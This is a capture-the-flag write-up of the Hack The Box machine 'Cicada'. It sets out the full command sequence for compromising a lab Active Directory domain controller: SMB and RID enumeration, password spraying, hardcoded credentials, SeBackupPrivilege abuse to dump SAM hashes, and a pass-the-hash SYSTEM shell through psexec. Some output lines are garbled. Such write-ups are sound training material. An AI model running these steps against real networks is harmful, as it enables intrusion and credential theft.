

Máquina Cicada

<https://app.hackthebox.com/machines/627>



Cicada

OS	RELEASE DATE	DIFFICULTY	MACHINE STATE
Windows	28 Sep 2024	Easy	Retired

Reconnaissance

```
nmap -sS 10.129.72.239 --min-rate 5000 -p- --open -n -Pn -oN nmap/scan1.txt
Starting Nmap 7.97 ( https://nmap.org ) at 2025-09-23 19:09 +0200
Nmap scan report for 10.129.72.239
Host is up (0.070s latency).
Not shown: 65522 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
389/tcp    open  ldap
445/tcp    open  microsoft-ds
464/tcp    open  kpasswd5
```

```
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
59181/tcp open unknown
```

Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds

As usual in AD **nmap** reported us several ports

```
➤ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,59181 10.129.72.239 -oN nmap/scan2.txt SHELL
Starting Nmap 7.97 ( https://nmap.org ) at 2025-09-23 19:15 +0200
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.95% done; ETC: 19:16 (0:00:00 remaining)
Nmap scan report for 10.129.72.239
Host is up (0.11s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-24 00:15:55Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_ Not valid after: 2025-08-22T20:24:16
|_ ssl-date: 2025-09-24T00:17:27+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_ Not valid after: 2025-08-22T20:24:16
|_ ssl-date: 2025-09-24T00:17:27+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-09-24T00:17:27+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_ Not valid after: 2025-08-22T20:24:16
3269/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-
```

```

Site-Name)
|_ssl-date: 2025-09-24T00:17:27+00:00; +7h00m00s from scanner time.
|_ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
|_Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
5985/tcp open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
59181/tcp open  msrpc      Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

```

Host script results:

```

|_smb2-time:
| date: 2025-09-24T00:16:47
|_start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
|_smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required

```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 99.31 seconds

After the initial footprinting we didn't get nothing special for now, so lets use **netexec** to dig deeper.

```

> nxc smb 10.129.72.239
[*] Adding missing option 'check_guest_account' in config section 'nxc' to nxc.conf
SMB 10.129.72.239 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)

```

As a guest user, we can read de folder **HR** and we have read permissions into **IPC\$** which means we can enumerate users by doing rid brute force:

```

> nxc smb 10.129.72.239 -u 'test' -p "" --shares
SMB 10.129.72.239 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.72.239 445 CICADA-DC [+] cicada.htb\test: (Guest)
SMB 10.129.72.239 445 CICADA-DC [*] Enumerated shares
SMB 10.129.72.239 445 CICADA-DC
Share      Permissions  Remark
-----
SMB 10.129.72.239 445 CICADA-DC ADMIN$      Remote Admin
SMB 10.129.72.239 445 CICADA-DC C$         Default share
SMB 10.129.72.239 445 CICADA-DC DEV
SMB 10.129.72.239 445 CICADA-DC HR          READ
SMB 10.129.72.239 445 CICADA-DC IPC$        READ      Remote IPC
SMB 10.129.72.239 445 CICADA-DC NETLOGON    Logon server share
SMB 10.129.72.239 445 CICADA-DC SYSVOL      Logon server share

```

```
> nxc smb 10.129.72.239 -u 'test' -p " " --rid-brute
```

```
SMB 10.129.72.239 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.72.239 445 CICADA-DC [+] cicada.htb\test: (Guest)
SMB 10.129.72.239 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers
(SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.129.72.239 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.72.239 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group
(SidTypeAlias)
SMB 10.129.72.239 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group
(SidTypeAlias)
SMB 10.129.72.239 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.129.72.239 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.129.72.239 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.129.72.239 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
```

After getting the users, we can make a list of them and find out which are valid users using **kerbrute**

```
> kerbrute userenum -d cicada.htb --dc 10.129.72.239 content/usernames
```

```

_ _ _
// _ _ _ // _ _ _ // _ _ _
// _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/, < / _ _ _ _ _ _ _ _ _ _ _ _
```

Version: dev (n/a) - 09/23/25 - Ronnie Flathers @ropnop

```
2025/09/23 19:25:40 > 10.129.72.239:88
```

```
2025/09/23 19:25:41 > [+] VALID USERNAME: Administrator@icada.htb
```

```
2025/09/23 19:25:41 > [+] VALID USERNAME: john.smoulder@cicada.htb
```

```
2025/09/23 19:25:41 > [+] VALID USERNAME: sarah.dantelia@cicada.htb
```

```
2025/09/23 19:25:41 > [+] VALID USERNAME: david.orelious@ cicada.htb
```

```
2025/09/23 19:25:41 > [+] VALID USERNAME: emily.oscars@cicada.htb
```

```
2025/09/23 19:25:41 > [+] VALID USERNAME: michael.wrightson@cicada.htb
```

```
> smbclient -U test //10.129.72.239/HR
```

```
smb: \> get "Notice from HR.txt"
```

```
> /usr/bin/cat Notice\ from\ HR.txt
```

Dear new hire!

Your default password is: Cicada\$M6Corpb* @Lp#nZp!8

To change your password:

team at support@cicada.htb.

Thank you **for** your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

After reading the file, we noticed about someone's password that we can use to do password spraying

```
cat content/valid_users2.txt
```

```
| File: content/valid_users2.txt
```

```
1 | Guest
2 | Administrator
3 | CICADA-DC$
4 | john.smoulder
5 | sarah.dantelia
6 | david.orelous
7 | emily.oscars
8 | michael.wrightson
```

Exploitation

```
> nxc smb 10.129.72.239 -u content/valid_users2.txt -p 'Cicada$M6Corp*@Lp#nZp!8' SHELL
SMB 10.129.72.239 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.72.239 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corp*@Lp#nZp!8
STATUS_LOGON_FAILURE
SMB 10.129.72.239 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corp*@Lp#nZp!8
STATUS_LOGON_FAILURE
SMB 10.129.72.239 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corp*@Lp#nZp!8
STATUS_LOGON_FAILURE
SMB 10.129.72.239 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corp*@Lp#nZp!8
STATUS_LOGON_FAILURE
SMB 10.129.72.239 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corp*@Lp#nZp!8
STATUS_LOGON_FAILURE
SMB 10.129.72.239 445 CICADA-DC [-] cicada.htb\david.orelous:Cicada$M6Corp*@Lp#nZp!8
STATUS_LOGON_FAILURE
SMB 10.129.72.239 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corp*@Lp#nZp!8
STATUS_LOGON_FAILURE
SMB 10.129.72.239 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corp*@Lp#nZp!8
```

Apparently the password belongs the user **michael.wrightson**. With a valid user we can enumerate users:

```

SHELL
> nxc smb 10.129.72.239 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB 10.129.72.239 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.72.239 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.129.72.239 445 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.72.239 445 CICADA-DC Administrator 2024-08-26 20:08:03 20 Built-in
account for administering the computer/domain
SMB 10.129.72.239 445 CICADA-DC Guest 2024-08-28 17:26:56 1 Built-in account
for guest access to the computer/domain
SMB 10.129.72.239 445 CICADA-DC krbtgt 2024-03-14 11:14:10 0 Key Distribution
Center Service Account
SMB 10.129.72.239 445 CICADA-DC john.smoulder 2024-03-14 12:17:29 20
SMB 10.129.72.239 445 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 20
SMB 10.129.72.239 445 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
SMB 10.129.72.239 445 CICADA-DC david.orelious 2024-03-14 12:17:29 20 Just in case I
forget my password is aRt$Lp#7t*VQ!3
SMB 10.129.72.239 445 CICADA-DC emily.oscars 2024-08-22 21:20:17 20
SMB 10.129.72.239 445 CICADA-DC [*] Enumerated 8 local users: CICADA

```

In the David's description, we can see what appears to be his password, so lets check it:

```

SHELL
> nxc smb 10.129.72.239 -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.129.72.239 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.72.239 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.129.72.239 445 CICADA-DC [*] Enumerated shares
SMB 10.129.72.239 445 CICADA-DC
Share      Permissions  Remark
SMB 10.129.72.239 445 CICADA-DC
-----      -
ADMIN$      Remote Admin
SMB 10.129.72.239 445 CICADA-DC
CS          Default share
SMB 10.129.72.239 445 CICADA-DC
DEV         READ
SMB 10.129.72.239 445 CICADA-DC
HR          READ
SMB 10.129.72.239 445 CICADA-DC
IPC$        READ      Remote IPC
SMB 10.129.72.239 445 CICADA-DC
NETLOGON    READ      Logon server share
SMB 10.129.72.239 445 CICADA-DC
SYSVOL      READ      Logon server share

```

david.orelious has read permissions at DEV folder.

```

SHELL
> smbclient -U 'david.orelious%aRt$Lp#7t*VQ!3' //10.129.72.239/dev
Try "help" to get a list of possible commands.
smb: \> dir
.                D      0 Thu Mar 14 13:31:39 2024
..               D      0 Thu Mar 14 13:21:29 2024
Backup_script.ps1 A     601 Wed Aug 28 19:28:22 2024

4168447 blocks of size 4096. 478051 blocks available

```


We can see that there's only a backup script that we can check

```
cat Backup_script.ps1

|

| File: Backup_script.ps1
|

1 |
2 | $sourceDirectory = "C:\smb"
3 | $destinationDirectory = "D:\Backup"
4 |
5 | $username = "emily.oscars"
6 | $password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
7 | $credentials = New-Object System.Management.Automation.PSCredential($username, $password)
8 | $dateStamp = Get-Date -Format "yyyyMMdd_HH:mm:ss"
9 | $backupFileName = "smb_backup_$dateStamp.zip"
10 | $backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
11 | Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
12 | Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

|
```

We noticed a hardcoded password again which belongs **emily.oscars**

```

SHELL
> nxc smb 10.129.72.239 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' --shares
SMB      10.129.72.239 445  CICADA-DC      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB      10.129.72.239 445  CICADA-DC      [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
SMB      10.129.72.239 445  CICADA-DC      [*] Enumerated shares
SMB      10.129.72.239 445  CICADA-DC      Share      Permissions  Remark
SMB      10.129.72.239 445  CICADA-DC      -----
SMB      10.129.72.239 445  CICADA-DC      ADMIN$      READ          Remote Admin
SMB      10.129.72.239 445  CICADA-DC      C$          READ,WRITE    Default share
SMB      10.129.72.239 445  CICADA-DC      DEV
SMB      10.129.72.239 445  CICADA-DC      HR          READ
SMB      10.129.72.239 445  CICADA-DC      IPC$        READ          Remote IPC
SMB      10.129.72.239 445  CICADA-DC      NETLOGON    READ          Logon server share
SMB      10.129.72.239 445  CICADA-DC      SYSVOL      READ          Logon server share

```

emily.oscars has access to sensitive files such **ADMIN\$** and **C**

```

SHELL
> smbclient -U 'emily.oscars%Q!3@Lp#M6b*7t*Vt' //10.129.72.239/admin$
Try "help" to get a list of possible commands.

```



```
smb: \> get lsasetup.log
getting file \lsasetup.log of size 1378 as lsasetup.log (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
```

```
smbclient -U 'emily.oscars%Q!3@Lp#M6b*7t*Vt' //10.129.72.239/C$ SHELL
Try "help" to get a list of possible commands.
smb: \> dir
$Recycle.Bin           DHS      0 Thu Mar 14 14:24:03 2024
$WinREAgent            DH       0 Mon Sep 23 18:16:49 2024
Documents and Settings DHSrn    0 Thu Mar 14 20:40:47 2024
DumpStack.log.tmp      AHS    12288 Wed Sep 24 01:59:49 2025
pagefile.sys           AHS 738197504 Wed Sep 24 01:59:49 2025
PerfLogs               D       0 Thu Aug 22 20:45:54 2024
Program Files          DR       0 Thu Aug 29 21:32:50 2024
Program Files (x86)    D       0 Sat May  8 11:40:21 2021
ProgramData            DHn     0 Fri Aug 30 19:32:07 2024
Recovery              DHSn    0 Thu Mar 14 20:41:18 2024
Shares                D       0 Thu Mar 14 13:21:29 2024
System Volume Information DHS     0 Thu Mar 14 12:18:00 2024
Users                 DR       0 Mon Aug 26 22:11:25 2024
Windows               D       0 Mon Sep 23 18:35:40 2024

4168447 blocks of size 4096. 476931 blocks available
```

But before check sensitive files in those shared folders, which is a slowly process, we can check if we can connect to the machine using winrm:

```
> nxc winrm 10.129.72.239 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' SHELL
WINRM 10.129.72.239 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC)
(domain:cicada.htb)
WINRM 10.129.72.239 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
```

Indeed we can, so now we can use **Evil-WinRM**.

Privilege Escalation

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> whoami /all SHELL

USER INFORMATION
-----

User Name      SID
-----
cicada\emily.oscars S-1-5-21-917908876-1423158569-3159038727-1601

GROUP INFORMATION
```

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators	Alias	S-1-5-32-551	Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users	Alias	S-1-5-32-580	Mandatory group, Enabled by default, Enabled group
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access	Alias	S-1-5-32-574	Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication	Well-known group	S-1-5-64-10	Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level	Label	S-1-16-12288	

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

USER CLAIMS INFORMATION

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Watching Emily's permission, we can notice about a sensitive privilege which is *SeBackupPrivilege* which we can use to make any backup we want from anywhere in the disk. We can leverage this privilege in order to make a backup of **sam** and dump all the hashes using **secretsdump.py** tool.

We can make the backup using **reg.exe**

```
reg.exe save hklm\system C:\Temp
```

```
reg.exe save hklm\sam C:\Temp
```

The we just download the files using **Evil-WinRM**

```
Evil-WinRM* PS C:\Temp> download system
```

```
Info: Downloading C:\Temp\system to system
```

```
Evil-WinRM* PS C:\Temp> download sam
```

```
Info: Downloading C:\Temp\system to sam
```

After getting the files in our host we can dump the hashes with the next command:

```
> secretsdump.py -sam sam -system system LOCAL
```

SHELL

```
/usr/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
```

```
import pkg_resources
```

```
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
```

```
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
```

```
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
```

```
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
```

```
[*] Cleaning up...
```

It's not needed to crack the hashes if pass the hash technique works.

```
> nxc smb 10.129.72.239 -u Administrator -H '2b87e7c93a3e8a0ea4a581937016f341'
```

SHELL

```
SMB 10.129.72.239 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) (Null Auth:True)
```

```
SMB 10.129.72.239 445 CICADA-DC [+]
```

```
cicada.htb\Administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!)
```

After checking the admin hash, we can use **psexec.py** in order to get a shell as **nt authority\system**

```
> psexec.py administrator@10.129.72.239 -hashes :2b87e7c93a3e8a0ea4a581937016f341
```

SHELL

```
/usr/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
```

```
import pkg_resources
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.129.72.239.....

[*] Found writable share ADMIN\$

[*] Uploading file VtBHhqLJ.exe

[*] Opening SVCManager on 10.129.72.239.....

[*] Creating service kqpx on 10.129.72.239.....

[*] Starting service kqpx.....

[!] Press help for extra shell commands

Microsoft Windows [Version 10.0.20348.2700]

(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

nt authority\system